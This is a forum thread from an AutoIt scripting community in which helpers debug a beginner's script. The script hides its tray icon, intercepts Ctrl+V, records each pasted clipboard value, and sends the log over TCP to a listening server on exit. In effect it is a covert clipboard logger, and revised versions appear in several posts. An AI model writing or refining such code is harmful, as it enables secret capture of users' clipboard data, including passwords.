bf2forlife Posted June 19, 2008 Author Share Posted June 19, 2008 And sorry for my "noobness" im still pretty new to AutoIT and i like asking questions from u guys because usually i get an good answer. Link to comment Share on other sites More sharing options...
Richard Robertson Posted June 19, 2008 Share Posted June 19, 2008 Why can't you just show us parts of the script that aren't working? We can't give you any help if we don't see what is going on. Link to comment Share on other sites More sharing options...
bf2forlife Posted June 19, 2008 Author Share Posted June 19, 2008 HotKeySet ( "^v" , "paste" ) Func paste() HotKeySet ( "^v") send("^v") $save = $save & " Pasted: " & ClipGet() HotKeySet ( "^v" , "paste" ) EndFunc Link to comment Share on other sites More sharing options...
ChrisL Posted June 19, 2008 Share Posted June 19, 2008 HotKeySet ( "^v" , "paste" ) Func paste() HotKeySet ( "^v") send("^v") $save = $save & " Pasted: " & ClipGet() HotKeySet ( "^v" , "paste" ) EndFunc This works fine without a tray icon. So it is something else #NoTrayIcon ClipPut("Test") HotKeySet ( "^v" , "paste" ) WHile 1 Sleep(100) WEnd Func paste() Local $save HotKeySet ( "^v") send("^v") $save = $save & " Pasted: " & ClipGet() HotKeySet ( "^v" , "paste" ) Msgbox(0,"",$save) Exit EndFunc [u]Scripts[/u]Minimize gui to systray _ Fail safe source recoveryMsgbox UDF _ _procwatch() Stop your app from being closedLicensed/Trial software system _ Buffering Hotkeys_SQL.au3 ADODB.Connection _ Search 2d Arrays_SplashTextWithGraphicOn() _ Adjust Screen GammaTransparent Controls _ Eventlogs without the crap_GuiCtrlCreateFlash() _ Simple Interscript communication[u]Websites[/u]Curious Campers VW Hightops Lambert Plant Hire Link to comment Share on other sites More sharing options...
bf2forlife Posted June 19, 2008 Author Share Posted June 19, 2008 Dunno what is it then because my script got mostly hotkeys, only tcp client before it and it works fine, atleast the server says "client has connected" Link to comment Share on other sites More sharing options...
ChrisL Posted June 19, 2008 Share Posted June 19, 2008 Dunno what is it then because my script got mostly hotkeys, only tcp client before it and it works fine, atleast the server says "client has connected"OK if you don't want to post your script then I suggest you comment out most of your script and leave in something simple and see if that part works. Maybey chuck in the odd mesage box every now and again to see where abouts your up to.Instead of #NoTrayIcon try TraySetState ( 2 ) [u]Scripts[/u]Minimize gui to systray _ Fail safe source recoveryMsgbox UDF _ _procwatch() Stop your app from being closedLicensed/Trial software system _ Buffering Hotkeys_SQL.au3 ADODB.Connection _ Search 2d Arrays_SplashTextWithGraphicOn() _ Adjust Screen GammaTransparent Controls _ Eventlogs without the crap_GuiCtrlCreateFlash() _ Simple Interscript communication[u]Websites[/u]Curious Campers VW Hightops Lambert Plant Hire Link to comment Share on other sites More sharing options...
bf2forlife Posted June 19, 2008 Author Share Posted June 19, 2008 expandcollapse popup#NoTrayIcon #include <GUIConstantsEx.au3> Local $ConnectedSocket, $szData Local $szIPADDRESS = @IPAddress1 Local $nPORT = 33891 TCPStartup() $ConnectedSocket = -1 $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT) If @error Then while 1 $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT) WEnd Else While 1 Dim $save = "" HotKeySet ( "^v" , "paste" ) Send("{CAPSLOCK off}") While 1 sleep(365*24*60*60*1000);1 year :) WEnd Func paste() HotKeySet ( "^v") send("^v") $save = $save & " Pasted: " & ClipGet() HotKeySet ( "^v" , "paste" ) EndFunc Func OnAutoItExit() TCPSend($ConnectedSocket,$save) EndFunc If @error Then ExitLoop WEnd EndIf Here it is. (Made in an boring, rainy day) Link to comment Share on other sites More sharing options...
ChrisL Posted June 19, 2008 Share Posted June 19, 2008 This script gets stuck in a loop where I have commented it expandcollapse popup#NoTrayIcon #include <GUIConstantsEx.au3> Local $ConnectedSocket, $szData Local $szIPADDRESS = @IPAddress1 Local $nPORT = 33891 $startup = TCPStartup() Msgbox(0,"","TCP Started = " & $startup) $ConnectedSocket = -1 $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT) If @error Then while 1 $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT) Msgbox(0,"","Connected socket in the first while loop = " & $ConnectedSocket);Script gets stuck here for me WEnd Else While 1 ToolTip("Still Running") Dim $save = "" HotKeySet ( "^v" , "paste" ) Send("{CAPSLOCK off}") While 1 Sleep(100) ;sleep(365*24*60*60*1000);1 year :) WEnd If @error Then ExitLoop WEnd EndIf Func paste();moved this function out of the loop as it shouldn;t be there HotKeySet ( "^v") send("^v") $save = $save & " Pasted: " & ClipGet() HotKeySet ( "^v" , "paste" ) EndFunc Func OnAutoItExit() TCPSend($ConnectedSocket,$save) EndFunc [u]Scripts[/u]Minimize gui to systray _ Fail safe source recoveryMsgbox UDF _ _procwatch() Stop your app from being closedLicensed/Trial software system _ Buffering Hotkeys_SQL.au3 ADODB.Connection _ Search 2d Arrays_SplashTextWithGraphicOn() _ Adjust Screen GammaTransparent Controls _ Eventlogs without the crap_GuiCtrlCreateFlash() _ Simple Interscript communication[u]Websites[/u]Curious Campers VW Hightops Lambert Plant Hire Link to comment Share on other sites More sharing options...
bf2forlife Posted June 19, 2008 Author Share Posted June 19, 2008 Thanks all! Link to comment Share on other sites More sharing options...
ChrisL Posted June 19, 2008 Share Posted June 19, 2008 Right, I made a quick server so that it connected properly, It works the same with or without the tray icon. It gets stuck in your while loops expandcollapse popup#NoTrayIcon #include <GUIConstantsEx.au3> Local $ConnectedSocket, $szData Local $szIPADDRESS = @IPAddress1 Local $nPORT = 33891 $startup = TCPStartup() Msgbox(0,"","TCP Started = " & $startup) $ConnectedSocket = -1 $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT) If @error Then while 1 $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT) Msgbox(0,"","Connected socket in the first while loop = " & $ConnectedSocket) WEnd Else While 1 ToolTip("Still Running") Dim $save = "" HotKeySet ( "^v" , "paste" ) Send("{CAPSLOCK off}") While 1 Sleep(100) ToolTip("How is it ever going to get out of here? The script is stuck in this loop");Stuck here ;sleep(365*24*60*60*1000);1 year :);why sleep for a year? WEnd If @error Then ExitLoop WEnd EndIf Func paste();moved this function out of the loop as it shouldn;t be there HotKeySet ( "^v") send("^v") $save = $save & " Pasted: " & ClipGet() HotKeySet ( "^v" , "paste" ) EndFunc Func OnAutoItExit() TCPSend($ConnectedSocket,$save) EndFunc [u]Scripts[/u]Minimize gui to systray _ Fail safe source recoveryMsgbox UDF _ _procwatch() Stop your app from being closedLicensed/Trial software system _ Buffering Hotkeys_SQL.au3 ADODB.Connection _ Search 2d Arrays_SplashTextWithGraphicOn() _ Adjust Screen GammaTransparent Controls _ Eventlogs without the crap_GuiCtrlCreateFlash() _ Simple Interscript communication[u]Websites[/u]Curious Campers VW Hightops Lambert Plant Hire Link to comment Share on other sites More sharing options...
LongBowNZ Posted June 19, 2008 Share Posted June 19, 2008 Code... Here it is. (Made in an boring, rainy day)Was it so hard to post that? (Rhetorical question ) Link to comment Share on other sites More sharing options...
TehWhale Posted June 19, 2008 Share Posted June 19, 2008 3 Whole pages, because he didn't want to show his 30 line script. Link to comment Share on other sites More sharing options...
Richard Robertson Posted June 19, 2008 Share Posted June 19, 2008 3 page? Oh, that's right I have 40 posts per page. Who knows? People are weird sometimes. I can't figure out how something like #NoTrayIcon could ever cause problems unless calling tray related functions. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now